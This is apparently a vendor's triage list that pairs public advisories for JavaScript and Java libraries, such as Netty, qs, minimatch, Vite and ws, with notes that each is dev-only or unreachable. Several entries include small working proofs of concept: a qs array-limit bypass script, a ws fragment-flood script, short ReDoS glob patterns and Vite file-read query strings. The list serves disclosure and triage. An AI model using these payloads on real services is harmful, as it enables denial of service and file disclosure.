Picomatch is a glob matcher written JavaScript. Versions prior to 4.0.4, 3.0.2, and 2.3.2 are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as `+()` and `*()`, especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input. Applications are impacted when they allow untrusted users to supply glob patterns that are passed to `picomatch` for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way. This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2. Users should upgrade to one of these versions or later, depending on their supported release line. If upgrading is not immediately possible, avoid passing untrusted glob patterns to `picomatch`. Possible mitigations include disabling extglob support for untrusted patterns by using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers such as `+()` and `*()`, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, and applying application-level request throttling and input validation for any endpoint that accepts glob patterns.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

path-to-regexp turns path strings into a regular expressions. In certain cases, path-to-regexp will output a regular expression that can be exploited to cause poor performance. Because JavaScript is single threaded and regex matching runs on the main thread, poor performance will block the event loop and lead to a DoS. The bad regular expression is generated any time you have two parameters within a single segment, separated by something that is not a period (.). For users of 0.1, upgrade to 0.1.10. All other users should upgrade to 8.0.0.

path-to-regexp is not used with user input

Impact: A bad regular expression is generated any time you have three or more parameters within a single segment, separated by something that is not a period (.). For example, /:a-:b-:c or /:a-:b-:c-:d. The backtrack protection added in path-to-regexp@0.1.12 only prevents ambiguity for two parameters. With three or more, the generated lookahead does not block single separator characters, so capture groups overlap and cause catastrophic backtracking. Patches: Upgrade to path-to-regexp@0.1.13 Custom regex patterns in route definitions (e.g., /:a-:b([^-/]+)-:c([^-/]+)) are not affected because they override the default capture group. Workarounds: All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change /:a-:b-:c to /:a-:b([^-/]+)-:c([^-/]+). If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length.

The code does not contain this kind of regular expression.

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the MQTT 5 header Properties section is parsed and buffered before any message size limit is applied. Specifically, in MqttDecoder, the decodeVariableHeader() method is called before the bytesRemainingBeforeVariableHeader > maxBytesInMessage check. The decodeVariableHeader() can call other methods which will call decodeProperties(). Effectively, Netty does not apply any limits to the size of the properties being decoded. Additionally, because MqttDecoder extends ReplayingDecoder, Netty will repeatedly re-parse the enormous Properties sections and buffer the bytes in memory, until the entire thing parses to completion. This can cause high resource usage in both CPU and memory. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

pgjdbc is an open source postgresql JDBC Driver. From version 42.2.0 to before version 42.7.11, pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication. A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools. In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation. This issue has been patched in version 42.7.11.

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

### Summary The `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284). ### Details When the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `['a', 'b', 'c']`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation. **Vulnerable code** (lib/parse.js: lines ~40-50): ```js if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) {     return val.split(','); } if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {     throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } return val; ``` The `split(',')` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,...`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p). ### PoC **Test 1 - Basic bypass:** ``` npm install qs ``` ```js const qs = require('qs'); const payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5) const options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true }; try {   const result = qs.parse(payload, options);   console.log(result.a.length); // Outputs: 26 (bypass successful) } catch (e) {   console.log('Limit enforced:', e.message); // Not thrown } ``` **Configuration:** - `comma: true` - `arrayLimit: 5` - `throwOnLimitExceeded: true` Expected: Throws "Array limit exceeded" error. Actual: Parses successfully, creating an array of length 26. ### Impact Denial of Service (DoS) via memory exhaustion.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.132.Final and 4.2.10.Final, a remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of `CONTINUATION` frames. The server's lack of a limit on the number of `CONTINUATION` frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive. Versions 4.1.132.Final and 4.2.10.Final fix the issue.

Netty is a network application framework for development of protocol servers and clients. In netty-codec-http2 prior to versions 4.1.135.Final and 4.2.15.Final, the `DelegatingDecompressorFrameListener` class orchestrates HTTP/2 decompression by embedding a per-stream `EmbeddedChannel` that runs the appropriate decompression codec (gzip, deflate, zstd) and forwards decompressed chunks to a wrapped listener. Each decompressed chunk is a pooled `ByteBuf` handed to an anonymous `ChannelInboundHandlerAdapter` tail handler, which becomes the sole owner responsible for releasing it. A remote peer could send frames that would result in the flow-controller throwing and so trigger a resource leak which at the end might take down the whole JVM due OOME. Versions 4.1.135.Final and 4.2.15.Final patch the issue.

Serialize JavaScript to a superset of JSON that includes regular expressions and functions. Prior to version 7.0.5, there is a Denial of Service (DoS) vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from Array.prototype but has a very large length property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely. This issue has been patched in version 7.0.5.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

Versions of the package semver before 7.5.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

Library used only for development purpose and not included on production code

SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

uuid is for the creation of RFC9562 (formerly RFC4122) UUIDs. Prior to 14.0.0, v3, v5, and v6 accept external output buffers but do not reject out-of-range writes (small buf or large offset). This allows silent partial writes into caller-provided buffers. This vulnerability is fixed in 14.0.0.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.132.Final and 4.2.10.Final, Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks. Versions 4.1.132.Final and 4.2.10.Final fix the issue.

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

Netty is a network application framework for development of protocol servers and clients. NoQuicTokenHandler is the tokenHandler used when the application does not set one. Prior to version 4.2.15.Final, its writeToken() returns false (server will not send Retry — acceptable), but validateToken() unconditionally `return 0`. In QuicheQuicServerCodec.handlePacket(), a non-negative return from validateToken() is interpreted as 'token is valid, ODCID starts at offset 0', causing the server to call quiche_accept as if the client's address had been validated by a Retry round-trip. Per RFC 9000 §8.1, a validated address lifts the 3× anti-amplification send limit. Thus any attacker who includes ANY non-empty token bytes in an Initial packet — with a spoofed victim source IP — causes the Netty server to treat the victim as validated and reflect full-size handshake flights (certificates, etc.) toward it without the 3× cap. The correct 'no token handler' semantics would be to return -1 (invalid) so the normal un-validated path and amplification limit apply. Version 4.2.15.Final patches the issue.

Netty is a network application framework for development of protocol servers and clients. In netty-codec-haproxy prior to versions 4.1.135.Final and 4.2.15.Final, when decoding a PP2_TYPE_SSL TLV, HAProxyMessage.readNextTLV() first calls `header.retainedSlice(header.readerIndex(), length)` and only then reads the 1-byte client field and 4-byte verify field. If the attacker sets the TLV length below 5, the subsequent readByte/readInt throws IndexOutOfBoundsException. HAProxyMessageDecoder only catches HAProxyProtocolException around this call, so the IOOBE propagates and the retained slice on the pooled cumulation buffer is never released. Versions 4.1.135.Final and 4.2.15.Final patch the issue.

Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, the HAProxy PROXY protocol v2 codec in netty leaks native or heap memory on every connection when a client sends a syntactically valid header containing nested `PP2_TYPE_SSL` TLVs (type-length-value records) at depth two or greater. The leak occurs on the successful parse path — no exception is thrown, the message fires downstream, the decoder removes itself, and the application releases the `HAProxyMessage` normally. Yet the underlying cumulation buffer (a pooled, potentially direct `ByteBuf` allocated by the channel) remains permanently pinned. Versions 4.1.135.Final and 4.2.15.Final patch the issue.

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final, when decoding header blocks, the non-Huffman branch of io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral may execute new byte[length] for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that length <= in.readableBytes() before new byte[length]. This vulnerability is fixed in 4.2.13.Final.

Netty is a network application framework for development of protocol servers and clients. Prior to version 4.2.15.Final, the default configuration of the `Http3ConnectionHandler` in the Netty HTTP/3 codec lacks an enforced maximum header size limit. When a peer does not explicitly specify `HTTP3_SETTINGS_MAX_FIELD_SECTION_SIZE`, the implementation defaults to an unbounded limit. This insecure default configuration allows a malicious client or server to send an enormous number of headers, leading to a memory exhaustion Denial of Service via an `OutOfMemoryError`. Version 4.2.15.Final contains a patch.

form-data is a library for creating readable multipart/form-data streams. In versions through 4.0.5, the `field` argument to `FormData#append` and the `filename` option are concatenated verbatim into the `Content-Disposition` header without escaping carriage return (CR), line feed (LF), or double-quote (") characters. An application that passes attacker-controlled data as a field name or filename (for example, an API gateway that turns JSON object keys into multipart field names) allows the attacker to terminate the header line and inject additional headers, or to smuggle entire additional multipart parts, into the request the application forwards to a backend. This can let the attacker add or override form fields (e.g. set `is_admin=true`) seen by the downstream parser. This is an instance of CWE-93 (CRLF injection). The fix escapes CR, LF, and `"` as `%0D`, `%0A`, and `%22` in field names and filenames, matching the serialization browsers use per the WHATWG HTML multipart/form-data encoding algorithm. Exploitation requires the consuming application to use untrusted input as a field name or filename; applications that use only fixed/trusted field names are not affected. Fixed in 2.5.6, 3.0.5, and 4.0.6.

Every uncached /avatar/:hash request spawns a goroutine that refreshes the Gravatar image. If the refresh sits in the 10-slot worker queue longer than three seconds, the handler times out and stops listening for the result, so that goroutine blocks forever trying to send on an unbuffered channel. Sustained traffic with random hashes keeps tripping this timeout, so goroutine count grows linearly, eventually exhausting memory and causing Grafana to crash on some systems.

A possible arbitrary file read and SSRF vulnerability has been identified in Apache Kafka Client. Apache Kafka Clients accept configuration data for setting the SASL/OAUTHBEARER connection with the brokers, including "sasl.oauthbearer.token.endpoint.url" and "sasl.oauthbearer.jwks.endpoint.url". Apache Kafka allows clients to read an arbitrary file and return the content in the error log, or sending requests to an unintended location. In applications where Apache Kafka Clients configurations can be specified by an untrusted party, attackers may use the "sasl.oauthbearer.token.endpoint.url" and "sasl.oauthbearer.jwks.endpoint.url" configuratin to read arbitrary contents of the disk and environment variables or make requests to an unintended location. In particular, this flaw may be used in Apache Kafka Connect to escalate from REST API access to filesystem/environment/URL access, which may be undesirable in certain environments, including SaaS products. Since Apache Kafka 3.9.1/4.0.0, we have added a system property ("-Dorg.apache.kafka.sasl.oauthbearer.allowed.urls") to set the allowed urls in SASL JAAS configuration. In 3.9.1, it accepts all urls by default for backward compatibility. However in 4.0.0 and newer, the default value is empty list and users have to set the allowed urls explicitly.

This authentication mode is not used

Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, RedisArrayAggregator pre-allocates ArrayList with initial capacity equal to the RESP array element count declared in an array header. That count is taken from the wire before the corresponding child messages exist. A small malicious header can claim a huge initial capacity. Versions 4.1.135.Final and 4.2.15.Final patch the issue.

Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, SimpleTrustManagerFactory.engineGetTrustManagers() and related paths wrap any user-supplied plain X509TrustManager in X509TrustManagerWrapper, which extends X509ExtendedTrustManager but implements the 3-arg checkServerTrusted(chain, authType, SSLEngine) by discarding the SSLEngine and calling the 2-arg delegate. Because the object now IS an X509ExtendedTrustManager, neither SunJSSE's internal AbstractTrustManagerWrapper nor Netty's own OpenSslX509TrustManagerWrapper will re-wrap it to add endpoint-identification. Consequently, even though Netty 4.2 sets endpointIdentificationAlgorithm="HTTPS" by default, a client built with `SslContextBuilder.forClient().trustManager(somePlainX509TrustManager)` performs no hostname verification at all. Versions 4.1.135.Final and 4.2.15.Final patch the issue.

Netty is a network application framework for development of protocol servers and clients. Prior to version 4.2.15.Final, a memory exhaustion vulnerability in the Netty HTTP/3 codec allows the creation of an infinite number of blocked streams, which can cause OOM error. Version 4.2.15.Final patches the issue.

The brace-expansion library generates arbitrary strings containing a common prefix and suffix. Prior to versions 5.0.5, 3.0.2, 2.0.3, and 1.1.13, a brace pattern with a zero step value (e.g., `{1..2..0}`) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory. Versions 5.0.5, 3.0.2, 2.0.3, and 1.1.13 fix the issue. As a workaround, sanitize strings passed to `expand()` to ensure a step value of `0` is not used.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

Versions of the package cross-spawn before 6.0.6, from 7.0.0 and before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

Dev dependency

A vulnerability in Grafana Tempo exposes the S3 SSE-C encryption key in plaintext through the /status/config endpoint, potentially allowing unauthorized users to obtain the key used to encrypt trace data stored in S3. Thanks to william_goodfellow for reporting this vulnerability.

fast-uri decoded percent-encoded path separators and dot segments before applying dot-segment removal in its normalize() and equal() functions. Encoded path data was treated like real slashes and parent-directory references, so distinct URIs could collapse onto the same normalized path. Applications that normalize or compare attacker-controlled URLs to enforce path-based policy can be bypassed, with a path that appears confined under an allowed prefix normalizing to a different location. Versions <= 3.1.0 are affected. Update to 3.1.1 or later.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

fast-uri normalize() decoded percent-encoded authority delimiters inside the host component and then re-emitted them as raw delimiters during serialization. A host that combined an allowed domain, an encoded at-sign, and a different domain was re-emitted with the at-sign as a raw userinfo separator, changing the URI's authority to the second domain. Applications that normalize untrusted URLs before host allowlist checks, redirect validation, or outbound request routing can be steered to a different authority than the input appeared to specify. Versions <= 3.1.1 are affected. Update to 3.1.2 or later.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

flatted is a circular JSON parser. Prior to 3.4.0, flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. This vulnerability is fixed in 3.4.0.

Glob matches files using patterns the shell uses. Starting in version 10.2.0 and prior to versions 10.5.0 and 11.1.0, the glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> are used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. This issue has been patched in versions 10.5.0 and 11.1.0.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

An issue in the fetch() method in the BasicProfile class of org.ini4j through version v0.5.4 allows attackers to cause a Denial of Service (DoS) via unspecified vectors.

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: "include" })` is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

JavaScript Cookie is a JavaScript API for handling cookies, client-side. Prior to version 3.0.7, js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "__proto__" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.__proto__ setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys. Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down. This issue has been patched in version 3.0.7.

Netty is an asynchronous, event-driven network application framework. From 4.2.0.Final to 4.2.13.Final , Netty's epoll transport fails to detect and close TCP connections that receive a RST after being half-closed, leading to stale channels that are never cleaned up and, in some code paths, a 100% CPU busy-loop in the event loop thread. This vulnerability is fixed in 4.2.13.Final.

Fixed in BlueMind v5.5.11. Please upgrade

Those using Woodstox to parse XML data may be vulnerable to Denial of Service attacks (DOS) if DTD support is enabled. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack.

minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Versions 10.2.0 and below are vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits. The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever. Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This issue has been fixed in version 10.2.1.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3, `matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Any application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3 fix the issue.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.4, nested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.4 fix the issue.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.

Junrar is an open source java RAR archive library. Prior to version 7.5.10, a path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content into sibling directories when a crafted RAR archive is extracted. Version 7.5.10 fixes the issue.

Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S >= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.

Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, a Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU. Version 1.4.0 patches the issue.

Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it. Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries. Version 1.4.0 patches the issue.

Netty is a network application framework for development of protocol servers and clients. In netty-codec-redis prior to versions 4.1.135.Final and 4.2.15.Final, an attacker can cause DoS by sending a crafted Redis payload with deeply nested arrays. This forces the server to allocate a massive number of state objects and collections, leading to memory exhaustion and an OutOfMemoryError. Versions 4.1.135.Final and 4.2.15.Final patch the issue.

Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, SslClientHelloHandler.decode() reads the 24-bit TLS handshake length and, when the ClientHello does not fit in the first record, eagerly allocates `ctx.alloc().buffer(handshakeLength)` (line 161). The guard at line 140 is `handshakeLength > maxClientHelloLength && maxClientHelloLength != 0`, and the commonly-used SniHandler/AbstractSniHandler constructors (SniHandler(Mapping), SniHandler(AsyncMapping), AbstractSniHandler()) pass maxClientHelloLength=0 and handshakeTimeoutMillis=0, so the length guard is disabled and no timeout is scheduled. A 16 MiB request exceeds the default pooled chunk size and becomes a huge/unpooled allocation performed immediately. The buffer is retained in the handler until the channel closes. Versions 4.1.135.Final and 4.2.15.Final patch the issue.

Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.

Library only used on build servers. Code not present on production servers.

Vite is a frontend tooling framework for javascript. Vite exposes content of non-allowed files using ?inline&import or ?raw?import. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. This vulnerability is fixed in 6.2.4, 6.1.3, 6.0.13, 5.4.16, and 4.5.11.

In Jakarta Mail 2.0.2 it is possible to preform a SMTP Injection by utilizing the \r and \n UTF-8 characters to separate different messages.

This particular feature is not used in BlueMind. Code is not reachable.

### Impact A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. ### Proof of concept ```js import { WebSocket, WebSocketServer } from 'ws'; const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`); ws.on('open', function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); }); ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`client close - code: ${code} reason: ${reason.toString()}`); }); }); wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`server close - code: ${code} reason: ${reason.toString()}`); }); }); ``` ### Patches The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53). ### Workarounds In vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible. ### Credits The vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077).

Improper handling of configuration values in ZKConfig in Apache ZooKeeper 3.8.5 and 3.9.4 on all platforms allows an attacker to expose sensitive information stored in client configuration in the client's logfile. Configuration values are exposed at INFO level logging rendering potential production systems affected by the issue. Users are recommended to upgrade to version 3.8.6 or 3.9.5 which fixes this issue.

No sensitive information is stored in client configuration file

ws is an open source WebSocket client and server for Node.js. Prior to 8.20.1, the websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument. This vulnerability is fixed in 8.20.1.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, the RedisArrayAggregator handler permanently leaks pooled direct-memory buffers when a Redis pipeline connection closes before a RESP array aggregate completes. The handler retains child messages in per-handler state (`depths` field) but defines no `channelInactive`, `handlerRemoved`, or `exceptionCaught` method to release them when the pipeline tears down. Because the leaked buffers are slices of `PooledByteBufAllocator` chunks, they prevent those chunks from being returned to the JVM-wide direct-memory pool. Repeated connection churn by any network peer monotonically drains this shared pool, eventually causing allocation failures on all Netty channels in the process. Versions 4.1.135.Final and 4.2.15.Final patch the issue.

Vite is a frontend tooling framework for JavaScript. From 6.0.0 to before 6.4.2, 7.3.2, and 8.0.5, if it is possible to connect to the Vite dev server’s WebSocket without an Origin header, an attacker can invoke fetchModule via the custom WebSocket event vite:invoke and combine file://... with ?raw (or ?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., export default "..."). The access control enforced in the HTTP request path (such as server.fs.allow) is not applied to this WebSocket-based execution path. This vulnerability is fixed in 6.4.2, 7.3.2, and 8.0.5.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

